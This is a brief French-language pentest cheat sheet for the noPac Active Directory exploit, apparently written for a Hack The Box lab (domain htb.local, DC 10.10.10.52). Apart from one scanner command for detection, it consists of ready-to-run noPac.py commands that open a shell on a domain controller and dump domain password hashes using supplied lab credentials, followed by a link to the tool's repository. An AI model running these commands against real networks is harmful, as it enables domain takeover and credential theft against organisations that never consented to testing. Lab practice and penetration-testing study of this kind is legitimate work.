NoPac

Détection

python scanner.py <DOMAIN>/<USERNAME>:<PASSWORD> -dc-ip <DC IP>

Exploitation

Get Shell

python3 noPac.py -shell -use-ldap -dc-ip 10.10.10.52 'htb.local/james':'J@m3s_P@ssW0rd!'

Dump password

python3 noPac.py -dump -use-ldap -dc-ip 10.10.10.52 'htb.local/james':'J@m3s_P@ssW0rd!'

Ressources :

https://github.com/Ridter/noPac